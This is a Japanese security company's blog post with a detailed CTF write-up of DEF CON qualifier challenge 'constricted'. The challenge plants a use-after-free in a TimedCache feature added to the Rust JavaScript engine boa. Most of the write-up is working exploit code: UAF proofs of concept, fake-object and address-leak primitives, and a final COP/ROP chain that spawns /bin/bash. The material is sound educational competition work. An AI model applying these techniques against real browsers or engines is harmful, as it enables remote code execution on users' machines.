著者:
- Dronex
- ptr-yudai (@ptrYudai)
はじめに
5月28日から30日にかけて、世界最大のハッキングコンテストDEF CONの予選CTFが開催されました。制限時間は48時間、今年の参加チームは500チーム弱。上位15チームだけが決勝に進める過酷な戦いです。
リチェルカセキュリティの社員・アルバイトには、現役でCTFに取り組んでいるメンバーが多数在籍しています。CTFは多種多様な前提、制約、技術領域に触れる機会になり、業務の実行能力にも繋がります。そこで、今年は会社としてDEF CONに挑戦することにしました。
弊社にはTokyoWesternsやbinjaなどをはじめとして、複数の強豪チームのメンバーが在籍しています。今回、各チームのメンバーにも協力をいただき、合同チーム「./V /home/r/.bin/tw」として出場しました。
▲ 寿司を注文しすぎたメンバー ▲
結果、今年は世界中から500近くのチームが参加し、我々は世界7位(日本国内1位)で決勝へと歩を進めることができました🎉▲ CTFの最終結果 ▲
constricted
数多くの難問が出題されましたが、この記事では「constricted」という問題のwrite-upを公開しようと思います。この問題はBrowser Exploitを題材にした問題で、Rust製のJavaScriptエンジンに埋め込まれた脆弱性を悪用し、リモートコード実行を達成するという、いわゆるPwnableの問題です。弊社では過去にBrowser Exploitのトレーニングを提供したり、Chromeの1day PoCを開発したりした経験があるため、この問題は何としても解かなければならない問題でした。
参加した弊社メンバーからは、アルバイトのDronexさんとmoratorium08さん、そして正社員のptr-yudaiがこの問題に主に取り組みました。以下はDronexさんによる詳細なwrite-upです。
問題概要
この問題の攻撃対象は、boaというRust製のJavaScriptエンジンです。
Rustはメモリ安全性が注目されている言語で、Rust製のアプリケーションにはC言語で起きやすいような単純なBuffer OverflowやUse-after-Freeといった脆弱性が生まれにくい特徴があります。今回の問題では、このRust製JavaScriptエンジンに TimedCacheという機能が追加されており、そこに脆弱性が潜んでいました。
TimedCacheはオブジェクトを保管するKey-Valueストアで、キーに紐付いたデータに有効期限を設定できます。例えば下のコードの場合、”key1”というキーに1000ミリ秒(1秒)間だけ有効なデータを設定しています。そのため、最初のgetではキーに紐付いたオブジェクトが取得できますが、1.5秒待った後に同じ処理をするとundefinedが返ります。
let cache = new TimedCache();
cache.set("key1", {"some": "value"}, 1000);
console.log(cache.get("key1")); // --> [object Object]
console.sleep(1500);
console.log(cache.get("key1")); // --> undefined
また、getに第二引数を渡すと有効期限を延長できます。
let cache = new TimedCache();
cache.set("key1", {"some": "value"}, 1000);
console.log(cache.get("key1", 2000)); // --> [object Object]
console.sleep(1500);
console.log(cache.get("key1")); // --> [object Object]
TimedCacheという機能はJavaScriptの仕様として存在しませんが、この問題ではそれが追加されています。したがって、ここに悪用可能な脆弱性が潜んでいると考え、重点的に調査することにしました。
脆弱性の調査
TimedCacheのキーに対応するデータ(value)は、boaエンジンの内部で TimeCachedValue として次のように定義されています。
#[derive(Debug, Clone)]
pub struct TimeCachedValue {
expire: u128,
data: JsObject,
}
...
impl Finalize for TimeCachedValue {}
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
if !this.is_expired() {
mark(&this.data);
}
});
}
この実装によれば、this.is_expired()が真の時dataはマークされず、GC(ガベージコレクタ)によって回収されます。キーの期限がexpireした場合、dataはその時点で必要なくなるためこの実装は妥当に見えますが、実際にはexpire済のオブジェクトの参照を得る方法が存在します。
TimedCache.prototype.getの処理を確認してみましょう。
/// `TimedCache.prototype.get( key, lifetime=null )`
///
/// Returns the value associated with the key, or undefined if there is none or if it has
/// expired.
/// If `lifetime` is not null, sets the remaining lifetime of the entry if found
pub(crate) fn get(
this: &JsValue,
args: &[JsValue],
context: &mut Context,
) -> JsResult<JsValue> {
const JS_ZERO: &JsValue = &JsValue::Rational(0f64);
let key = args.get_or_undefined(0);
let key = match key {
JsValue::Rational(r) => {
if r.is_zero() {
JS_ZERO
} else {
key
}
}
_ => key,
};
if let JsValue::Object(ref object) = this {
if !check_is_not_expired(object, key, context)? {
return Ok(JsValue::undefined());
}
let new_lifetime = args.get_or_undefined(1);
let expire = if !new_lifetime.is_undefined() && !new_lifetime.is_null() {
Some(calculate_expire(new_lifetime, context)?)
} else {
None
};
if let Some(cache) = object.borrow_mut().as_timed_cache_mut() {
if let Some(cached_val) = cache.get_mut(key) {
if let Some(expire) = expire {
cached_val.expire = expire as u128;
}
return Ok(JsValue::Object(cached_val.data.clone()));
}
return Ok(JsValue::undefined());
}
}
context.throw_type_error("'this' is not a Map")
}
このコードを要約すると、次のような処理になっています。
check_is_not_expiredがexpiredと判断した場合:- undefinedを返して終了
getの引数lifetimeが指定されている場合:calculate_expireの呼出- expire時刻を現在時刻 +
lifetimeに更新 - 取得したオブジェクトへの参照を返却
さらに、calculate_expireでは、lifetimeがObjectの場合は@@toPrimitiveを呼び出してNumberに変換しています。 calculate_expireのコードは次のようになっています。
fn calculate_expire(lifetime: &JsValue, context: &mut Context) -> JsResult<i128> {
let lifetime = lifetime.to_integer_or_infinity(context)?;
let lifetime = match lifetime {
IntegerOrInfinity::Integer(i) => i as i128,
_ => 0
};
let start = SystemTime::now();
let since_the_epoch = start
.duration_since(UNIX_EPOCH)
.expect("Time went backwards");
let since_the_epoch = since_the_epoch.as_millis() as i128;
Ok(since_the_epoch + lifetime)
}
lifetimeを to_integer_or_infinityと後続のmatch文でIntegerに変換しています。 to_integer_or_infinityは最終的に lifetimeがObjectの場合に to_primitive を呼び出していることが分かります。
pub fn to_integer_or_infinity(&self, context: &mut Context) -> JsResult<IntegerOrInfinity> {
// 1. Let number be ? ToNumber(argument).
let number = self.to_number(context)?;
...
pub fn to_number(&self, context: &mut Context) -> JsResult<f64> {
match *self {
...
JsValue::Object(_) => {
let primitive = self.to_primitive(context, PreferredType::Number)?;
primitive.to_number(context)
}
}
}
したがって、 Symbol.toPrimitive を設定したオブジェクトを lifetimeに渡せば、 calculate_expireのタイミングで任意のJavaScript関数を呼び出せます。実際に試してみましょう。
const cache = new TimedCache();
cache.set("x", [], 1000);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.log("[1]");
return 1000;
}
});
console.log("[2]");
実行結果:
$ boa exploit.js [1] [2]
lifetimeのオブジェクトに設定した関数が呼ばれていることが分かります。
これを利用すれば、@@toPrimitiveが呼び出された後に、関数内でそのデータの期限が切れるまで待機して、さらにGCを強制するとdataが解放されます。一方で @@toPrimitive を呼んだ文脈では data を参照したままなので、Use-after-Freeが発生します。
const cache = new TimedCache();
cache.set("x", [], 10);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
return 1000;
}
});
console.log("[2]");
実行結果:
thread 'main' panicked at 'Can't double-unroot a Gc<T>', /usr/local/cargo/registry/src/github.com-1ecc6299db9ec823/gc-0.4.1/src/lib.rs:226:9
何やらpanicが起きました。上のコードでは toPrimitive で1000を返しているため、再びデータの期限が延長されます。この場合、 TimeCachedValueのunroot時に既に回収済みのdataに対して再びunrootが呼ばれるため、以下の箇所にあるassertによりpanicが発生しています。
impl Finalize for TimeCachedValue {}
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
if !this.is_expired() {
mark(&this.data);
}
});
}
これを回避するにはtoPrimitiveで0を返して、expiredのままにさせておけば良いです。(nullやundefined等、期限を延長しない値であれば何でも良いです。)
さて、返却されたxは解放済みのオブジェクトを指しているので、直後に別のオブジェクトを生成すると実体がすり替わることが確認できます。
const cache = new TimedCache();
cache.set("x", new String("foo"), 10);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
const b = new String("bar");
console.log(x);
実行結果:
$ boa exploit.js bar
予想通りUse-after-Freeが起きています🥳
UAFをRIP制御につなげる
先ほどのコードでは、新しく生成した文字列オブジェクト b に x が入れ替わりました。これでは単にJavaScriptオブジェクトが差し替わっただけなので意味がありません。内部的なデータ構造とオーバーラップさせて、Type Confusionのような状況を作る必要があります。
悪用手法は複数あると思いますが、大会当日は ArrayBuffer を利用しました。ArrayBufferを適切なサイズで作成することで、ArrayBufferが確保するバイト列を解放済み領域に被せることができます。 ArrayBuffer のバッファは我々攻撃者が操作できるため、偽のJavaScriptオブジェクトを作る強力なツールとなります。Use-after-Freeの起きるオブジェクトを、下記 ArrayBuffer 構造体中のベクタ array_buffer_data のバッファと被せるPoCを書いてみましょう。
#[derive(Debug, Clone, Trace, Finalize)]
pub struct ArrayBuffer {
pub array_buffer_data: Option<Vec<u8>>,
pub array_buffer_byte_length: usize,
pub array_buffer_detach_key: JsValue,
}
次のコードで実際に試してみます。
const cache = new TimedCache();
cache.set("x", [{}, {}, {}], 10);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
console.log("x :", console.debug(x));
console.log("x[0]:", console.debug(x[0]));
console.log("x[1]:", console.debug(x[1]));
console.log("x[2]:", console.debug(x[2]));
console.log("--------");
const buf = new ArrayBuffer(0x180);
const view = new DataView(buf);
console.log("buf :", console.debug(buf));
console.log("x[1]:", console.debug(x[1]));
console.log("view:", console.debug(view));
実行結果:
x : JsValue @0x758ad761d050 Object @0x758ad76bf6a8 - Methods @0x758ad7609230 x[0]: JsValue @0x758ad761d050 Object @0x758ad76bf828 - Methods @0x758ad7609000 x[1]: JsValue @0x758ad761d050 Object @0x758ad76bf9a8 - Methods @0x758ad7609000 x[2]: JsValue @0x758ad761d050 Object @0x758ad76bfb28 - Methods @0x758ad7609000 -------- buf : JsValue @0x758ad761d050 Object @0x758ad76bfb28 - Methods @0x758ad7609000 - Array Buffer Data @0x758ad76bf980 x[1]: JsValue @0x758ad761d050 Object @0x758ad76bf9a8 - Methods @0x0 view: JsValue @0x758ad761d050 Object @0x758ad76bf828 - Methods @0x758ad7609000
view の実体は0x758ad76bf828にありますが、これはx[0] の実体と同じアドレスに確保されています。また、 bufの実体は0x758ad76bfb28となっており、これは x[2] の実体と同じアドレスです。そして何より重要なのが、 buf の”Array Buffer Data”のアドレスを見ると0x758ad76bf980となっています。一方で x[1] の実体は0x758ad76bf9a8にあり、0x28だけ離れていることが分かります。 ArrayBuffer は0x180バイト分確保したので、このバッファのオフセット0x28にデータを書き込めば、 x[1] の実体を直接書き換えられます。
結果を図にすると、次のようになります。
bufにデータを書き込んで偽のObjectを組み立てることで、偽オブジェクトをx[1]として使用できます。(いわゆるfakeObj primitiveができました!)
なお、Array Buffer Dataのアドレスはx[1]から0x28だけずれていますが、これはObjectが別の構造体の一部として確保されており、メモリチャンク先頭からずれているのが原因です。gdbで見るとメモリは次のようになっています。
▲ メモリ上のx[1] (UAF前) ▲
注目すべきは@0x0となっているx[1]のMethodsです。これはObjectData構造体のinternal_methodsであり、ここには本来関数テーブルへのポインタが入っています。 ArrayBufferのデータで上書きされたためゼロ初期化されていますが、ここに適切なアドレスを書き込むことで偽の関数テーブルを指定できます。
/// The internal representation of a JavaScript object.
#[derive(Debug, Trace, Finalize)]
pub struct Object {
/// The type of the object.
pub data: ObjectData,
/// The collection of properties contained in the object
properties: PropertyMap,
/// Instance prototype `__proto__`.
prototype: JsPrototype,
/// Whether it can have new properties added to it.
extensible: bool,
/// The `[[PrivateElements]]` internal slot.
private_elements: FxHashMap<Sym, PrivateElement>,
}
...
/// Defines the kind of an object and its internal methods
#[derive(Trace, Finalize)]
pub struct ObjectData {
pub kind: ObjectKind,
internal_methods: &'static InternalObjectMethods,
}
...
// Allocate on the heap instead of data section
#[allow(non_snake_case)]
pub(crate) fn NEW_ORDINARY_INTERNAL_METHODS() -> Box<InternalObjectMethods> {
Box::new(InternalObjectMethods {
__get_prototype_of__: ordinary_get_prototype_of,
__set_prototype_of__: ordinary_set_prototype_of,
__is_extensible__: ordinary_is_extensible,
__prevent_extensions__: ordinary_prevent_extensions,
__get_own_property__: ordinary_get_own_property,
__define_own_property__: ordinary_define_own_property,
__has_property__: ordinary_has_property,
__get__: ordinary_get,
__set__: ordinary_set,
__delete__: ordinary_delete,
__own_property_keys__: ordinary_own_property_keys,
__call__: None,
__construct__: None,
})
}
そこで、別のArrayBufferを用意しておき、そちらに適当なアドレスを書き込みます。このデータのアドレスを指すようにinternal_methodsを書き換えてから関数を呼び出すと、プログラムカウンタ(RIP)を制御できると考えられます。実際に試してみましょう。
const fakeTable = new ArrayBuffer(256);
const fakeTableView = new DataView(fakeTable);
fakeTableView.setBigUint64(0, 0x1337n, true);
const fakeTableAddr = BigInt(/Array Buffer Data @(0x[0-9a-f]+)/.exec(console.debug(fakeTable))[1]);
const cache = new TimedCache();
cache.set("x", [{}, {}, {}], 10);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
const buf = new ArrayBuffer(0x180);
const view = new DataView(buf);
view.setBigUint64(0x28 + 0x60, fakeTableAddr, true);
Object.getPrototypeOf(x[1]);
デバッガで確認すると、RIPが0x1337に制御できていることが分かります。これでUAFをRIP制御につなげることができました。
しかし、本問題のバイナリはPIEが有効なので、実行可能な既知アドレスは存在しません。したがって、アドレスリークが必要になります。
UAFをアドレスリークにつなげる
アドレスリークをする手段としては、配列の長さを改ざんしてout-of-boundsのreadを行ったり、ポインタを書き換えて既知のアドレスから読み出したりといった手法が考えられます。
今回のexploitでは、解放済みの ArrayBufferデータメモリの位置に別の新規オブジェクトを確保して、それを読み出すことでアドレスリークを達成しました。原理はRIP制御で説明したものとほとんど同じです。
const cache = new TimedCache();
cache.set("x", new BigUint64Array(10), 10);
let x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
// create DeclarativeEnvironment
{
}
console.log(x[2].toString(16));
実行結果:
55ea059bddb0
上のPoCでは、データ長が0x50バイトとなる BigUint64ArrayをUAFの対象としています。xを取得後、空のブロックに到達するとブロックスコープを生成するためDeclarativeEnvironmentが確保されます。正確にはgc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment>で、合計0x50バイトの構造体となり、サイズが一致する解放済みArrayBufferデータの位置に再確保されます。この先頭にはgc::gc::GcBoxHeader構造体が存在します:
pub(crate) struct GcBoxHeader {
roots: Cell<usize>, // high bit is used as mark flag
next: Option<NonNull<GcBox<dyn Trace>>>,
}
nextメンバはトレイトオブジェクトを保持するので、バイナリ上ではvtableへのポインタが付随します。当然vtableはプログラムバイナリ中に存在するので、このポインタを読み出すことでプロセスのベースアドレスが計算できます。問題のバイナリではvtableのオフセット0x11c9db0を引けばベースアドレスとなります。
pwndbg> p *(0x73f438e2e0f0 as &gc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment>)
$4 = gc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment> {
header: gc::gc::GcBoxHeader {
roots: core::cell::Cell<usize> {
value: core::cell::UnsafeCell<usize> {
value: 0
}
},
next: core::option::Option<core::ptr::non_null::NonNull<gc::gc::GcBox<dyn gc::trace::Trace>>>::Some(core::ptr::non_null::NonNull<gc::gc::GcBox<dyn gc::trace::Trace>> {
pointer: *const gc::gc::GcBox<dyn gc::trace::Trace> {
pointer: 0x73f438ee3000,
vtable: 0x55555671ddb0
}
}),
...
(注: ASLRの影響により先の実行結果とは値が異なります。)
RCE
ここまででRIPの制御とアドレスリークが完了しました。プロセスのベースアドレスが分かっているので、プログラム中のROP gadgetを利用してROPに持ち込むのが簡単でしょう。プログラムバイナリが十分に大きいためROP Gadgetは豊富に存在し、ROP chainの組み立ては容易です。
プログラムカウンタを制御できた時点で、偽のinternal_methodsを持たせたオブジェクト付近のアドレスがレジスタに含まれています。そこで、ROP chainを偽の internal_methodsテーブルの後ろに配置しておき、スタックポインタをそちらに移すことでROPが開始できます。もちろん、Stack Pivotが完了するまで ret命令は使えないので、call/jmp命令を使うCOP/JOPでStack Pivotを実現しました。
最終的な、シェルを取るまでのexploitコードは次のようになります。
function leakProcBase() {
const cache = new TimedCache();
cache.set("x", new BigUint64Array(10), 10);
let x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
// create DeclarativeEnvironment
{
}
const procBase = x[2] - 0x11c9db0n;
console.log("[+] proc = 0x" + procBase.toString(16));
// cleanup
console.collectGarbage();
Array.from({ length: 128 }, v => { });
return procBase;
}
function pwn(procBase) {
const fakeTableBuf = new ArrayBuffer(0x1000);
const fakeTableView = new DataView(fakeTableBuf);
const fakeTableAddr = BigInt(/Array Buffer Data @(0x[0-9a-f]+)/.exec(console.debug(fakeTableBuf))[1]);
const cache = new TimedCache();
cache.set("x", [{}, {}, {}], 10);
const x = cache.get("x", {
[Symbol.toPrimitive](hint) {
console.sleep(20);
console.collectGarbage();
}
});
const victim = x[1];
// fake object
const fakeObjBuf = new ArrayBuffer(0x180);
const fakeObjView = new DataView(fakeObjBuf);
// internal_methods
fakeObjView.setBigUint64(0x28 + 96, fakeTableAddr, true);
// internal_methods.__get_prototype_of__
fakeTableView.setBigUint64(0, procBase + 0x00e8f7a2n, true); // 0x00e8f7a2: mov rax, qword [rsi+0x28] ; call qword [rax+0x28]
/* C(J)OP */
// 0x00140c9f: mov rax, qword [rax+0x08] ; call qword [rax+0x18]
const ropBaseOffset = 8 * 8;
const ropBase = fakeTableAddr + BigInt(ropBaseOffset);
const ofs2 = 0x28;
const ofs3 = 0x60;
fakeObjView.setBigUint64(0x28 + 1, procBase + 0x00140c9fn, true);
fakeObjView.setBigUint64(0x8 + 1, ropBase, true); // = rax+0x18
fakeTableView.setBigUint64(ropBaseOffset + 0x18, procBase + 0x0013d54cn, true); // 0x0013d54c: mov rdi, qword [rax] ; mov rax, qword [rax+0x08] ; call qword [rax+0x20]
fakeTableView.setBigUint64(ropBaseOffset + 0, ropBase + BigInt(ofs3), true); // rdi
fakeTableView.setBigUint64(ropBaseOffset + 8, ropBase + BigInt(ofs2), true); // rax
fakeTableView.setBigUint64(ropBaseOffset + ofs2 + 0x20, procBase + 0x00bb935dn, true); // 0x00bb935d: push rdi ; jmp qword [rax+0x00]
fakeTableView.setBigUint64(ropBaseOffset + ofs2 + 0, procBase + 0x0027df7en, true); // 0x0027df7e: pop rsp ; ret
/* ROP */
const pathnameOffset = 0x200;
Array.from("/bin/bash\\\\0", c => c.charCodeAt(0)).forEach((v, i) => fakeTableView.setUint8(ropBaseOffset + pathnameOffset + i, v));
[
procBase + 0x00ead8ebn, // 0x00ead8eb: pop rdi ; ret
ropBase + BigInt(pathnameOffset),
procBase + 0x00eabd2dn, // 0x00eabd2d: pop rsi ; ret
0n,
procBase + 0x00dfe1can, // 0x00dfe1ca: pop rdx ; ret
0n,
procBase + 0x00e99580n, // 0x00e99580: pop rax ; ret
59n,
procBase + 0x00140493n, // 0x00140493: syscall
].forEach((v, i) => fakeTableView.setBigUint64(ropBaseOffset + ofs3 + i * 8, v, true));
// control rip
Object.getPrototypeOf(victim);
}
pwn(leakProcBase());
以下は実行結果のスクリーンショットです。(クリックで拡大)
おわりに
DEF CON当日は、最終的に、上位チームを中心に十数チームがこの問題を解きました。我々のチームは脆弱性発見後、RIP制御とアドレスリークを並列分担してスムーズに作業できたため、問題が出題されてから比較的早い段階でフラグを得ることができました。
メモリ安全が保証されている言語で、一見正しく見えるunsafeなガベージコレクタの利用によって、任意コード実行にまでつながるという興味深い問題でした。
決勝大会は例年通りラスベガスで開催されます。リチェルカでは、今回参加してくださった社員・アルバイトの方が決勝大会やDEF CONカンファレンスに参加できるよう、旅費を支援する予定です。
最後になりますが、今回のCTFに参加してくださった社員、アルバイトの方々、そして協力してくださった各チームのメンバーの方々、ありがとうございました!決勝でお会いしましょう👋






